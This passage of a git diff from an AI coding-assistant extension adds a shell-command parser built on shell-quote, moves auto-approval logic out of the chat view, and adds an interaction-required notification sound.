 				)
 			} else if (isResumableAsk(type)) {
-				statusMutationTimeouts.push(
+				timeouts.push(
 					setTimeout(() => {
 						const message = this.findMessageByTimestamp(askTs)
 
@@ -852,7 +882,7 @@ export class Task extends EventEmitter<TaskEvents> implements TaskLike {
 					}, statusMutationTimeout),
 				)
 			} else if (isIdleAsk(type)) {
-				statusMutationTimeouts.push(
+				timeouts.push(
 					setTimeout(() => {
 						const message = this.findMessageByTimestamp(askTs)
 
@@ -864,7 +894,7 @@ export class Task extends EventEmitter<TaskEvents> implements TaskLike {
 				)
 			}
 		} else if (isMessageQueued) {
-			console.log("Task#ask will process message queue")
+			console.log(`Task#ask: will process message queue -> type: ${type}`)
 
 			const message = this.messageQueueService.dequeueMessage()
 
@@ -882,25 +912,19 @@ export class Task extends EventEmitter<TaskEvents> implements TaskLike {
 				} else {
 					// For other ask types (like followup or command_output), fulfill the ask
 					// directly.
-					this.setMessageResponse(message.text, message.images)
+					this.handleWebviewAskResponse("messageResponse", message.text, message.images)
 				}
 			}
 		}
 
-		// Non-blocking asks return immediately without waiting
-		// The ask message is created in the UI, but the task doesn't wait for a response
-		// This prevents blocking in cloud/headless environments
-		if (isNonBlockingAsk(type)) {
-			return { response: "yesButtonClicked" as ClineAskResponse, text: undefined, images: undefined }
-		}
-
-		// Wait for askResponse to be set
+		// Wait for askResponse to be set.
 		await pWaitFor(() => this.askResponse !== undefined || this.lastMessageTs !== askTs, { interval: 100 })
 
 		if (this.lastMessageTs !== askTs) {
 			// Could happen if we send multiple asks in a row i.e. with
 			// command_output. It's important that when we know an ask could
 			// fail, it is handled gracefully.
+			console.log("Task#ask: current ask promise was ignored")
 			throw new Error("Current ask promise was ignored")
 		}
 
@@ -910,7 +934,7 @@ export class Task extends EventEmitter<TaskEvents> implements TaskLike {
 		this.askResponseImages = undefined
 
 		// Cancel the timeouts if they are still running.
-		statusMutationTimeouts.forEach((timeout) => clearTimeout(timeout))
+		timeouts.forEach((timeout) => clearTimeout(timeout))
 
 		// Switch back to an active state.
 		if (this.idleAsk || this.resumableAsk || this.interactiveAsk) {
@@ -924,10 +948,6 @@ export class Task extends EventEmitter<TaskEvents> implements TaskLike {
 		return result
 	}
 
-	public setMessageResponse(text: string, images?: string[]) {
-		this.handleWebviewAskResponse("messageResponse", text, images)
-	}
-
 	handleWebviewAskResponse(askResponse: ClineAskResponse, text?: string, images?: string[]) {
 		this.askResponse = askResponse
 		this.askResponseText = text

+ 0 - 1
src/core/task/__tests__/Task.dispose.test.ts

@@ -22,7 +22,6 @@ vi.mock("../../../api", () => ({
 		getModel: () => ({ info: {}, id: "test-model" }),
 	})),
 }))
-vi.mock("./AutoApprovalHandler")
 
 // Mock TelemetryService
 vi.mock("@roo-code/telemetry", () => ({

+ 2 - 0
src/package.json

@@ -512,6 +512,7 @@
 		"sanitize-filename": "^1.6.3",
 		"say": "^0.16.0",
 		"serialize-error": "^12.0.0",
+		"shell-quote": "^1.8.2",
 		"simple-git": "^3.27.0",
 		"socket.io-client": "^4.8.1",
 		"sound-play": "^1.1.0",
@@ -546,6 +547,7 @@
 		"@types/node-ipc": "^9.2.3",
 		"@types/proper-lockfile": "^4.1.4",
 		"@types/ps-tree": "^1.1.6",
+		"@types/shell-quote": "^1.7.5",
 		"@types/stream-json": "^1.7.8",
 		"@types/string-similarity": "^4.0.2",
 		"@types/tmp": "^0.2.6",

+ 2 - 0
src/shared/ExtensionMessage.ts

@@ -127,6 +127,7 @@ export interface ExtensionMessage {
 		| "insertTextIntoTextarea"
 		| "dismissedUpsells"
 		| "organizationSwitchResult"
+		| "interactionRequired"
 	text?: string
 	payload?: any // Add a generic payload for now, can refine later
 	// Checkpoint warning message
@@ -383,6 +384,7 @@ export interface ClineSayTool {
 		| "generateImage"
 		| "imageGenerated"
 		| "runSlashCommand"
+		| "updateTodoList"
 	path?: string
 	diff?: string
 	content?: string

+ 223 - 0
src/shared/parse-command.ts

@@ -0,0 +1,223 @@
+import { parse } from "shell-quote"
+
+export type ShellToken = string | { op: string } | { command: string }
+
+/**
+ * Split a command string into individual sub-commands by
+ * chaining operators (&&, ||, ;, |, or &) and newlines.
+ *
+ * Uses shell-quote to properly handle:
+ * - Quoted strings (preserves quotes)
+ * - Subshell commands ($(cmd), `cmd`, <(cmd), >(cmd))
+ * - PowerShell redirections (2>&1)
+ * - Chain operators (&&, ||, ;, |, &)
+ * - Newlines as command separators
+ */
+export function parseCommand(command: string): string[] {
+	if (!command?.trim()) {
+		return []
+	}
+
+	// Split by newlines first (handle different line ending formats)
+	// This regex splits on \r\n (Windows), \n (Unix), or \r (old Mac)
+	const lines = command.split(/\r\n|\r|\n/)
+	const allCommands: string[] = []
+
+	for (const line of lines) {
+		// Skip empty lines
+		if (!line.trim()) {
+			continue
+		}
+
+		// Process each line through the existing parsing logic
+		const lineCommands = parseCommandLine(line)
+		allCommands.push(...lineCommands)
+	}
+
+	return allCommands
+}
+
+/**
+ * Parse a single line of commands.
+ */
+function parseCommandLine(command: string): string[] {
+	if (!command?.trim()) return []
+
+	// Storage for replaced content
+	const redirections: string[] = []
+	const subshells: string[] = []
+	const quotes: string[] = []
+	const arrayIndexing: string[] = []
+	const arithmeticExpressions: string[] = []
+	const variables: string[] = []
+	const parameterExpansions: string[] = []
+
+	// First handle PowerShell redirections by temporarily replacing them
+	let processedCommand = command.replace(/\d*>&\d*/g, (match) => {
+		redirections.push(match)
+		return `__REDIR_${redirections.length - 1}__`
+	})
+
+	// Handle arithmetic expressions: $((...)) pattern
+	// Match the entire arithmetic expression including nested parentheses
+	processedCommand = processedCommand.replace(/\$\(\([^)]*(?:\)[^)]*)*\)\)/g, (match) => {
+		arithmeticExpressions.push(match)
+		return `__ARITH_${arithmeticExpressions.length - 1}__`
+	})
+
+	// Handle $[...] arithmetic expressions (alternative syntax)
+	processedCommand = processedCommand.replace(/\$\[[^\]]*\]/g, (match) => {
+		arithmeticExpressions.push(match)
+		return `__ARITH_${arithmeticExpressions.length - 1}__`
+	})
+
+	// Handle parameter expansions: ${...} patterns (including array indexing)
+	// This covers ${var}, ${var:-default}, ${var:+alt}, ${#var}, ${var%pattern}, etc.
+	processedCommand = processedCommand.replace(/\$\{[^}]+\}/g, (match) => {
+		parameterExpansions.push(match)
+		return `__PARAM_${parameterExpansions.length - 1}__`
+	})
+
+	// Handle process substitutions: <(...) and >(...)
+	processedCommand = processedCommand.replace(/[<>]\(([^)]+)\)/g, (_, inner) => {
+		subshells.push(inner.trim())
+		return `__SUBSH_${subshells.length - 1}__`
+	})
+
+	// Handle simple variable references: $varname pattern
+	// This prevents shell-quote from splitting $count into separate tokens
+	processedCommand = processedCommand.replace(/\$[a-zA-Z_][a-zA-Z0-9_]*/g, (match) => {
+		variables.push(match)
+		return `__VAR_${variables.length - 1}__`
+	})
+
+	// Handle special bash variables: $?, $!, $#, $$, $@, $*, $-, $0-$9
+	processedCommand = processedCommand.replace(/\$[?!#$@*\-0-9]/g, (match) => {
+		variables.push(match)
+		return `__VAR_${variables.length - 1}__`
+	})
+
+	// Then handle subshell commands $() and back-ticks
+	processedCommand = processedCommand
+		.replace(/\$\((.*?)\)/g, (_, inner) => {
+			subshells.push(inner.trim())
+			return `__SUBSH_${subshells.length - 1}__`
+		})
+		.replace(/`(.*?)`/g, (_, inner) => {
+			subshells.push(inner.trim())
+			return `__SUBSH_${subshells.length - 1}__`
+		})
+
+	// Then handle quoted strings
+	processedCommand = processedCommand.replace(/"[^"]*"/g, (match) => {
+		quotes.push(match)
+		return `__QUOTE_${quotes.length - 1}__`
+	})
+
+	let tokens: ShellToken[]
+	try {
+		tokens = parse(processedCommand) as ShellToken[]
+	} catch (error: any) {
+		// If shell-quote fails to parse, fall back to simple splitting
+		console.warn("shell-quote parse error:", error.message, "for command:", processedCommand)
+
+		// Simple fallback: split by common operators
+		const fallbackCommands = processedCommand
+			.split(/(?:&&|\|\||;|\||&)/)
+			.map((cmd) => cmd.trim())
+			.filter((cmd) => cmd.length > 0)
+
+		// Restore all placeholders for each command
+		return fallbackCommands.map((cmd) =>
+			restorePlaceholders(
+				cmd,
+				quotes,
+				redirections,
+				arrayIndexing,
+				arithmeticExpressions,
+				parameterExpansions,
+				variables,
+				subshells,
+			),
+		)
+	}
+
+	const commands: string[] = []
+	let currentCommand: string[] = []
+
+	for (const token of tokens) {
+		if (typeof token === "object" && "op" in token) {
+			// Chain operator - split command
+			if (["&&", "||", ";", "|", "&"].includes(token.op)) {
+				if (currentCommand.length > 0) {
+					commands.push(currentCommand.join(" "))
+					currentCommand = []
+				}
+			} else {
+				// Other operators (>) are part of the command
+				currentCommand.push(token.op)
+			}
+		} else if (typeof token === "string") {
+			// Check if it's a subshell placeholder
+			const subshellMatch = token.match(/__SUBSH_(\d+)__/)
+			if (subshellMatch) {
+				if (currentCommand.length > 0) {
+					commands.push(currentCommand.join(" "))
+					currentCommand = []
+				}
+				commands.push(subshells[parseInt(subshellMatch[1])])
+			} else {
+				currentCommand.push(token)
+			}
+		}
+	}
+
+	// Add any remaining command
+	if (currentCommand.length > 0) {
+		commands.push(currentCommand.join(" "))
+	}
+
+	// Restore quotes and redirections
+	return commands.map((cmd) =>
+		restorePlaceholders(
+			cmd,
+			quotes,
+			redirections,
+			arrayIndexing,
+			arithmeticExpressions,
+			parameterExpansions,
+			variables,
+			subshells,
+		),
+	)
+}
+
+/**
+ * Helper function to restore placeholders in a command string.
+ */
+function restorePlaceholders(
+	command: string,
+	quotes: string[],
+	redirections: string[],
+	arrayIndexing: string[],
+	arithmeticExpressions: string[],
+	parameterExpansions: string[],
+	variables: string[],
+	subshells: string[],
+): string {
+	let result = command
+	// Restore quotes
+	result = result.replace(/__QUOTE_(\d+)__/g, (_, i) => quotes[parseInt(i)])
+	// Restore redirections
+	result = result.replace(/__REDIR_(\d+)__/g, (_, i) => redirections[parseInt(i)])
+	// Restore array indexing expressions
+	result = result.replace(/__ARRAY_(\d+)__/g, (_, i) => arrayIndexing[parseInt(i)])
+	// Restore arithmetic expressions
+	result = result.replace(/__ARITH_(\d+)__/g, (_, i) => arithmeticExpressions[parseInt(i)])
+	// Restore parameter expansions
+	result = result.replace(/__PARAM_(\d+)__/g, (_, i) => parameterExpansions[parseInt(i)])
+	// Restore variable references
+	result = result.replace(/__VAR_(\d+)__/g, (_, i) => variables[parseInt(i)])
+	result = result.replace(/__SUBSH_(\d+)__/g, (_, i) => subshells[parseInt(i)])
+	return result
+}

+ 43 - 439
webview-ui/src/components/chat/ChatView.tsx

@@ -6,17 +6,16 @@ import removeMd from "remove-markdown"
 import { VSCodeButton, VSCodeLink } from "@vscode/webview-ui-toolkit/react"
 import useSound from "use-sound"
 import { LRUCache } from "lru-cache"
-import { Trans, useTranslation } from "react-i18next"
+import { Trans } from "react-i18next"
 
 import { useDebounceEffect } from "@src/utils/useDebounceEffect"
 import { appendImages } from "@src/utils/imageUtils"
 
-import type { ClineAsk, ClineMessage, McpServerUse } from "@roo-code/types"
+import type { ClineAsk, ClineMessage } from "@roo-code/types"
 
 import { ClineSayBrowserAction, ClineSayTool, ExtensionMessage } from "@roo/ExtensionMessage"
-import { McpServer, McpTool } from "@roo/mcp"
 import { findLast } from "@roo/array"
-import { FollowUpData, SuggestionItem } from "@roo-code/types"
+import { SuggestionItem } from "@roo-code/types"
 import { combineApiRequests } from "@roo/combineApiRequests"
 import { combineCommandSequences } from "@roo/combineCommandSequences"
 import { getApiMetrics } from "@roo/getApiMetrics"
@@ -26,20 +25,12 @@ import { ProfileValidator } from "@roo/ProfileValidator"
 import { getLatestTodo } from "@roo/todo"
 
 import { vscode } from "@src/utils/vscode"
-import {
-	getCommandDecision,
-	CommandDecision,
-	findLongestPrefixMatch,
-	parseCommand,
-} from "@src/utils/command-validation"
 import { useAppTranslation } from "@src/i18n/TranslationContext"
 import { useExtensionState } from "@src/context/ExtensionStateContext"
 import { useSelectedModel } from "@src/components/ui/hooks/useSelectedModel"
 import RooHero from "@src/components/welcome/RooHero"
 import RooTips from "@src/components/welcome/RooTips"
 import { StandardTooltip } from "@src/components/ui"
-import { useAutoApprovalState } from "@src/hooks/useAutoApprovalState"
-import { useAutoApprovalToggles } from "@src/hooks/useAutoApprovalToggles"
 import { CloudUpsellDialog } from "@src/components/cloud/CloudUpsellDialog"
 
 import TelemetryBanner from "../common/TelemetryBanner"
@@ -84,7 +75,6 @@ const ChatViewComponent: React.ForwardRefRenderFunction<ChatViewRef, ChatViewPro
 	})
 
 	const { t } = useAppTranslation()
-	const { t: tSettings } = useTranslation("settings")
 	const modeShortcutText = `${isMac ? "⌘" : "Ctrl"} + . ${t("chat:forNextMode")}, ${isMac ? "⌘" : "Ctrl"} + Shift + . ${t("chat:forPreviousMode")}`
 
 	const {
@@ -94,25 +84,9 @@ const ChatViewComponent: React.ForwardRefRenderFunction<ChatViewRef, ChatViewPro
 		taskHistory,
 		apiConfiguration,
 		organizationAllowList,
-		mcpServers,
-		alwaysAllowBrowser,
-		alwaysAllowReadOnly,
-		alwaysAllowReadOnlyOutsideWorkspace,
-		alwaysAllowWrite,
-		alwaysAllowWriteOutsideWorkspace,
-		alwaysAllowWriteProtected,
-		alwaysAllowExecute,
-		alwaysAllowMcp,
-		allowedCommands,
-		deniedCommands,
-		writeDelayMs,
-		followupAutoApproveTimeoutMs,
 		mode,
 		setMode,
-		autoApprovalEnabled,
 		alwaysAllowModeSwitch,
-		alwaysAllowSubtasks,
-		alwaysAllowFollowupQuestions,
 		alwaysAllowUpdateTodoList,
 		customModes,
 		telemetrySetting,
@@ -161,7 +135,10 @@ const ChatViewComponent: React.ForwardRefRenderFunction<ChatViewRef, ChatViewPro
 	const [sendingDisabled, setSendingDisabled] = useState(false)
 	const [selectedImages, setSelectedImages] = useState<string[]>([])
 
-	// we need to hold on to the ask because useEffect > lastMessage will always let us know when an ask comes in and handle it, but by the time handleMessage is called, the last message might not be the ask anymore (it could be a say that followed)
+	// We need to hold on to the ask because useEffect > lastMessage will always
+	// let us know when an ask comes in and handle it, but by the time
+	// handleMessage is called, the last message might not be the ask anymore
+	// (it could be a say that followed).
 	const [clineAsk, setClineAsk] = useState<ClineAsk | undefined>(undefined)
 	const [enableButtons, setEnableButtons] = useState<boolean>(false)
 	const [primaryButtonText, setPrimaryButtonText] = useState<string | undefined>(undefined)
@@ -222,43 +199,40 @@ const ChatViewComponent: React.ForwardRefRenderFunction<ChatViewRef, ChatViewPro
 		[apiConfiguration, organizationAllowList],
 	)
 
-	// UI layout depends on the last 2 messages
-	// (since it relies on the content of these messages, we are deep comparing. i.e. the button state after hitting button sets enableButtons to false, and this effect otherwise would have to true again even if messages didn't change
+	// UI layout depends on the last 2 messages (since it relies on the content
+	// of these messages, we are deep comparing) i.e. the button state after
+	// hitting button sets enableButtons to false,  and this effect otherwise
+	// would have to true again even if messages didn't change.
 	const lastMessage = useMemo(() => messages.at(-1), [messages])
 	const secondLastMessage = useMemo(() => messages.at(-2), [messages])
 
-	// Setup sound hooks with use-sound
 	const volume = typeof soundVolume === "number" ? soundVolume : 0.5
-	const soundConfig = {
-		volume,
-		// useSound expects 'disabled' property, not 'soundEnabled'
-		soundEnabled,
-	}
+	const [playNotification] = useSound(`${audioBaseUri}/notification.wav`, { volume, soundEnabled })
+	const [playCelebration] = useSound(`${audioBaseUri}/celebration.wav`, { volume, soundEnabled })
+	const [playProgressLoop] = useSound(`${audioBaseUri}/progress_loop.wav`, { volume, soundEnabled })
 
-	const getAudioUrl = (path: string) => `${audioBaseUri}/${path}`
-
-	// Use the getAudioUrl helper function
-	const [playNotification] = useSound(getAudioUrl("notification.wav"), soundConfig)
-	const [playCelebration] = useSound(getAudioUrl("celebration.wav"), soundConfig)
-	const [playProgressLoop] = useSound(getAudioUrl("progress_loop.wav"), soundConfig)
-
-	function playSound(audioType: AudioType) {
-		// Play the appropriate sound based on type
-		// The disabled state is handled by the useSound hook configuration
-		switch (audioType) {
-			case "notification":
-				playNotification()
-				break
-			case "celebration":
-				playCelebration()
-				break
-			case "progress_loop":
-				playProgressLoop()
-				break
-			default:
-				console.warn(`Unknown audio type: ${audioType}`)
-		}
-	}
+	const playSound = useCallback(
+		(audioType: AudioType) => {
+			if (!soundEnabled) {
+				return
+			}
+
+			switch (audioType) {
+				case "notification":
+					playNotification()
+					break
+				case "celebration":
+					playCelebration()
+					break
+				case "progress_loop":
+					playProgressLoop()
+					break
+				default:
+					console.warn(`Unknown audio type: ${audioType}`)
+			}
+		},
+		[soundEnabled, playNotification, playCelebration, playProgressLoop],
+	)
 
 	function playTts(text: string) {
 		vscode.postMessage({ type: "playTts", text })
@@ -292,9 +266,6 @@ const ChatViewComponent: React.ForwardRefRenderFunction<ChatViewRef, ChatViewPro
 							setSecondaryButtonText(t("chat:startNewTask.title"))
 							break
 						case "followup":
-							if (!isPartial) {
-								playSound("notification")
-							}
 							setSendingDisabled(isPartial)
 							setClineAsk("followup")
 							// setting enable buttons to `false` would trigger a focus grab when
@@ -306,9 +277,6 @@ const ChatViewComponent: React.ForwardRefRenderFunction<ChatViewRef, ChatViewPro
 							setSecondaryButtonText(undefined)
 							break
 						case "tool":
-							if (!isAutoApproved(lastMessage) && !isPartial) {
-								playSound("notification")
-							}
 							setSendingDisabled(isPartial)
 							setClineAsk("tool")
 							setEnableButtons(!isPartial)
@@ -342,9 +310,6 @@ const ChatViewComponent: React.ForwardRefRenderFunction<ChatViewRef, ChatViewPro
 							}
 							break
 						case "browser_action_launch":
-							if (!isAutoApproved(lastMessage) && !isPartial) {
-								playSound("notification")
-							}
 							setSendingDisabled(isPartial)
 							setClineAsk("browser_action_launch")
 							setEnableButtons(!isPartial)
@@ -352,9 +317,6 @@ const ChatViewComponent: React.ForwardRefRenderFunction<ChatViewRef, ChatViewPro
 							setSecondaryButtonText(t("chat:reject.title"))
 							break
 						case "command":
-							if (!isAutoApproved(lastMessage) && !isPartial) {
-								playSound("notification")
-							}
 							setSendingDisabled(isPartial)
 							setClineAsk("command")
 							setEnableButtons(!isPartial)
@@ -369,9 +331,6 @@ const ChatViewComponent: React.ForwardRefRenderFunction<ChatViewRef, ChatViewPro
 							setSecondaryButtonText(t("chat:killCommand.title"))
 							break
 						case "use_mcp_server":
-							if (!isAutoApproved(lastMessage) && !isPartial) {
-								playSound("notification")
-							}
 							setSendingDisabled(isPartial)
 							setClineAsk("use_mcp_server")
 							setEnableButtons(!isPartial)
@@ -379,8 +338,8 @@ const ChatViewComponent: React.ForwardRefRenderFunction<ChatViewRef, ChatViewPro
 							setSecondaryButtonText(t("chat:reject.title"))
 							break
 						case "completion_result":
-							// extension waiting for feedback. but we can just present a new task button
-							// Only play celebration sound if there are no queued messages
+							// Extension waiting for feedback, but we can just present a new task button.
+							// Only play celebration sound if there are no queued messages.
 							if (!isPartial && messageQueue.length === 0) {
 								playSound("celebration")
 							}
@@ -823,6 +782,9 @@ const ChatViewComponent: React.ForwardRefRenderFunction<ChatViewRef, ChatViewPro
 				case "checkpointInitWarning":
 					setCheckpointWarning(message.checkpointWarning)
 					break
+				case "interactionRequired":
+					playSound("notification")
+					break
 			}
 			// textAreaRef.current is not explicitly required here since React
 			// guarantees that ref will be stable across re-renders, and we're
@@ -840,6 +802,7 @@ const ChatViewComponent: React.ForwardRefRenderFunction<ChatViewRef, ChatViewPro
 			handlePrimaryButtonClick,
 			handleSecondaryButtonClick,
 			setCheckpointWarning,
+			playSound,
 		],
 	)
 
@@ -969,239 +932,6 @@ const ChatViewComponent: React.ForwardRefRenderFunction<ChatViewRef, ChatViewPro
 		[isHidden, sendingDisabled, enableButtons],
 	)
 
-	const isReadOnlyToolAction = useCallback((message: ClineMessage | undefined) => {
-		if (message?.type === "ask") {
-			if (!message.text) {
-				return true
-			}
-
-			const tool = JSON.parse(message.text)
-
-			return [
-				"readFile",
-				"listFiles",
-				"listFilesTopLevel",
-				"listFilesRecursive",
-				"listCodeDefinitionNames",
-				"searchFiles",
-				"codebaseSearch",
-				"runSlashCommand",
-			].includes(tool.tool)
-		}
-
-		return false
-	}, [])
-
-	const isWriteToolAction = useCallback((message: ClineMessage | undefined) => {
-		if (message?.type === "ask") {
-			if (!message.text) {
-				return true
-			}
-
-			const tool = JSON.parse(message.text)
-
-			return ["editedExistingFile", "appliedDiff", "newFileCreated", "insertContent", "generateImage"].includes(
-				tool.tool,
-			)
-		}
-
-		return false
-	}, [])
-
-	const isMcpToolAlwaysAllowed = useCallback(
-		(message: ClineMessage | undefined) => {
-			if (message?.type === "ask" && message.ask === "use_mcp_server") {
-				if (!message.text) {
-					return true
-				}
-
-				const mcpServerUse = JSON.parse(message.text) as McpServerUse
-
-				if (mcpServerUse.type === "use_mcp_tool" && mcpServerUse.toolName) {
-					const server = mcpServers?.find((s: McpServer) => s.name === mcpServerUse.serverName)
-					const tool = server?.tools?.find((t: McpTool) => t.name === mcpServerUse.toolName)
-					return tool?.alwaysAllow || false
-				}
-			}
-
-			return false
-		},
-		[mcpServers],
-	)
-
-	// Get the command decision using unified validation logic
-	const getCommandDecisionForMessage = useCallback(
-		(message: ClineMessage | undefined): CommandDecision => {
-			if (message?.type !== "ask") return "ask_user"
-			return getCommandDecision(message.text || "", allowedCommands || [], deniedCommands || [])
-		},
-		[allowedCommands, deniedCommands],
-	)
-
-	// Check if a command message should be auto-approved.
-	const isAllowedCommand = useCallback(
-		(message: ClineMessage | undefined): boolean => {
-			return getCommandDecisionForMessage(message) === "auto_approve"
-		},
-		[getCommandDecisionForMessage],
-	)
-
-	// Check if a command message should be auto-denied.
-	const isDeniedCommand = useCallback(
-		(message: ClineMessage | undefined): boolean => {
-			return getCommandDecisionForMessage(message) === "auto_deny"
-		},
-		[getCommandDecisionForMessage],
-	)
-
-	// Helper function to get the denied prefix for a command
-	const getDeniedPrefix = useCallback(
-		(command: string): string | null => {
-			if (!command || !deniedCommands?.length) return null
-
-			// Parse the command into sub-commands and check each one
-			const subCommands = parseCommand(command)
-			for (const cmd of subCommands) {
-				const deniedMatch = findLongestPrefixMatch(cmd, deniedCommands)
-				if (deniedMatch) {
-					return deniedMatch
-				}
-			}
-			return null
-		},
-		[deniedCommands],
-	)
-
-	// Create toggles object for useAutoApprovalState hook
-	const autoApprovalToggles = useAutoApprovalToggles()
-
-	const { hasEnabledOptions } = useAutoApprovalState(autoApprovalToggles, autoApprovalEnabled)
-
-	const isAutoApproved = useCallback(
-		(message: ClineMessage | undefined) => {
-			// First check if auto-approval is enabled AND we have at least one permission
-			if (!autoApprovalEnabled || !message || message.type !== "ask") {
-				return false
-			}
-
-			// Use the hook's result instead of duplicating the logic
-			if (!hasEnabledOptions) {
-				return false
-			}
-
-			if (message.ask === "followup") {
-				return alwaysAllowFollowupQuestions
-			}
-
-			if (message.ask === "browser_action_launch") {
-				return alwaysAllowBrowser
-			}
-
-			if (message.ask === "use_mcp_server") {
-				// Check if it's a tool or resource access
-				if (!message.text) {
-					return false
-				}
-
-				try {
-					const mcpServerUse = JSON.parse(message.text) as McpServerUse
-
-					if (mcpServerUse.type === "use_mcp_tool") {
-						// For tools, check if the specific tool is always allowed
-						return alwaysAllowMcp && isMcpToolAlwaysAllowed(message)
-					} else if (mcpServerUse.type === "access_mcp_resource") {
-						// For resources, auto-approve if MCP is always allowed
-						// Resources don't have individual alwaysAllow settings like tools do
-						return alwaysAllowMcp
-					}
-				} catch (error) {
-					console.error("Failed to parse MCP server use message:", error)
-					return false
-				}
-				return false
-			}
-
-			if (message.ask === "command") {
-				return alwaysAllowExecute && isAllowedCommand(message)
-			}
-
-			// For read/write operations, check if it's outside workspace and if
-			// we have permission for that.
-			if (message.ask === "tool") {
-				let tool: any = {}
-
-				try {
-					tool = JSON.parse(message.text || "{}")
-				} catch (error) {
-					console.error("Failed to parse tool:", error)
-				}
-
-				if (!tool) {
-					return false
-				}
-
-				if (tool?.tool === "updateTodoList") {
-					return alwaysAllowUpdateTodoList
-				}
-
-				if (tool?.tool === "fetchInstructions") {
-					if (tool.content === "create_mode") {
-						return alwaysAllowModeSwitch
-					}
-
-					if (tool.content === "create_mcp_server") {
-						return alwaysAllowMcp
-					}
-				}
-
-				if (tool?.tool === "switchMode") {
-					return alwaysAllowModeSwitch
-				}
-
-				if (["newTask", "finishTask"].includes(tool?.tool)) {
-					return alwaysAllowSubtasks
-				}
-
-				const isOutsideWorkspace = !!tool.isOutsideWorkspace
-				const isProtected = message.isProtected
-
-				if (isReadOnlyToolAction(message)) {
-					return alwaysAllowReadOnly && (!isOutsideWorkspace || alwaysAllowReadOnlyOutsideWorkspace)
-				}
-
-				if (isWriteToolAction(message)) {
-					return (
-						alwaysAllowWrite &&
-						(!isOutsideWorkspace || alwaysAllowWriteOutsideWorkspace) &&
-						(!isProtected || alwaysAllowWriteProtected)
-					)
-				}
-			}
-
-			return false
-		},
-		[
-			autoApprovalEnabled,
-			hasEnabledOptions,
-			alwaysAllowBrowser,
-			alwaysAllowReadOnly,
-			alwaysAllowReadOnlyOutsideWorkspace,
-			isReadOnlyToolAction,
-			alwaysAllowWrite,
-			alwaysAllowWriteOutsideWorkspace,
-			alwaysAllowWriteProtected,
-			isWriteToolAction,
-			alwaysAllowExecute,
-			isAllowedCommand,
-			alwaysAllowMcp,
-			isMcpToolAlwaysAllowed,
-			alwaysAllowModeSwitch,
-			alwaysAllowFollowupQuestions,
-			alwaysAllowSubtasks,
-			alwaysAllowUpdateTodoList,
-		],
-	)
-
 	useEffect(() => {
 		// This ensures the first message is not read, future user messages are
 		// labeled as `user_feedback`.
@@ -1233,7 +963,7 @@ const ChatViewComponent: React.ForwardRefRenderFunction<ChatViewRef, ChatViewPro
 
 		// Update previous value.
 		setWasStreaming(isStreaming)
-	}, [isStreaming, lastMessage, wasStreaming, isAutoApproved, messages.length])
+	}, [isStreaming, lastMessage, wasStreaming, messages.length])
 
 	const isBrowserSessionMessage = (message: ClineMessage): boolean => {
 		// Which of visible messages are browser session messages, see above.
@@ -1557,132 +1287,6 @@ const ChatViewComponent: React.ForwardRefRenderFunction<ChatViewRef, ChatViewPro
 		],
 	)
 
-	useEffect(() => {
-		if (autoApproveTimeoutRef.current) {
-			clearTimeout(autoApproveTimeoutRef.current)
-			autoApproveTimeoutRef.current = null
-		}
-
-		if (!clineAsk || !enableButtons) {
-			return
-		}
-
-		// Exit early if user has already responded
-		if (userRespondedRef.current) {
-			return
-		}
-
-		const autoApproveOrReject = async () => {
-			// Check for auto-reject first (commands that should be denied)
-			if (lastMessage?.ask === "command" && isDeniedCommand(lastMessage)) {
-				// Get the denied prefix for the localized message
-				const deniedPrefix = getDeniedPrefix(lastMessage.text || "")
-				if (deniedPrefix) {
-					// Create the localized auto-deny message and send it with the rejection
-					const autoDenyMessage = tSettings("autoApprove.execute.autoDenied", { prefix: deniedPrefix })
-
-					vscode.postMessage({
-						type: "askResponse",
-						askResponse: "noButtonClicked",
-						text: autoDenyMessage,
-					})
-				} else {
-					// Auto-reject denied commands immediately if no prefix found
-					vscode.postMessage({ type: "askResponse", askResponse: "noButtonClicked" })
-				}
-
-				setSendingDisabled(true)
-				setClineAsk(undefined)
-				setEnableButtons(false)
-				return
-			}
-
-			// Then check for auto-approve
-			if (lastMessage?.ask && isAutoApproved(lastMessage)) {
-				// Special handling for follow-up questions
-				if (lastMessage.ask === "followup") {
-					// Handle invalid JSON
-					let followUpData: FollowUpData = {}
-					try {
-						followUpData = JSON.parse(lastMessage.text || "{}") as FollowUpData
-					} catch (error) {
-						console.error("Failed to parse follow-up data:", error)
-						return
-					}
-
-					if (followUpData && followUpData.suggest && followUpData.suggest.length > 0) {
-						// Wait for the configured timeout before auto-selecting the first suggestion
-						await new Promise<void>((resolve) => {
-							autoApproveTimeoutRef.current = setTimeout(() => {
-								autoApproveTimeoutRef.current = null
-								resolve()
-							}, followupAutoApproveTimeoutMs)
-						})
-
-						// Check if user responded manually
-						if (userRespondedRef.current) {
-							return
-						}
-
-						// Get the first suggestion
-						const firstSuggestion = followUpData.suggest[0]
-
-						// Handle the suggestion click
-						handleSuggestionClickInRow(firstSuggestion)
-						return
-					}
-				} else if (lastMessage.ask === "tool" && isWriteToolAction(lastMessage)) {
-					await new Promise<void>((resolve) => {
-						autoApproveTimeoutRef.current = setTimeout(() => {
-							autoApproveTimeoutRef.current = null
-							resolve()
-						}, writeDelayMs)
-					})
-				}
-
-				vscode.postMessage({ type: "askResponse", askResponse: "yesButtonClicked" })
-
-				setSendingDisabled(true)
-				setClineAsk(undefined)
-				setEnableButtons(false)
-			}
-		}
-		autoApproveOrReject()
-
-		return () => {
-			if (autoApproveTimeoutRef.current) {
-				clearTimeout(autoApproveTimeoutRef.current)
-				autoApproveTimeoutRef.current = null
-			}
-		}
-	}, [
-		clineAsk,
-		enableButtons,
-		handlePrimaryButtonClick,
-		alwaysAllowBrowser,
-		alwaysAllowReadOnly,
-		alwaysAllowReadOnlyOutsideWorkspace,
-		alwaysAllowWrite,
-		alwaysAllowWriteOutsideWorkspace,
-		alwaysAllowExecute,
-		followupAutoApproveTimeoutMs,
-		alwaysAllowMcp,
-		messages,
-		allowedCommands,
-		deniedCommands,
-		mcpServers,
-		isAutoApproved,
-		lastMessage,
-		writeDelayMs,
-		isWriteToolAction,
-		alwaysAllowFollowupQuestions,
-		handleSuggestionClickInRow,
-		isAllowedCommand,
-		isDeniedCommand,
-		getDeniedPrefix,
-		tSettings,
-	])
-
 	// Function to handle mode switching
 	const switchToNextMode = useCallback(() => {
 		const allModes = getAllModes(customModes)

+ 6 - 4
webview-ui/src/components/chat/CommandExecution.tsx

@@ -1,5 +1,6 @@
 import { useCallback, useState, memo, useMemo } from "react"
 import { useEvent } from "react-use"
+import { t } from "i18next"
 import { ChevronDown, OctagonX } from "lucide-react"
 
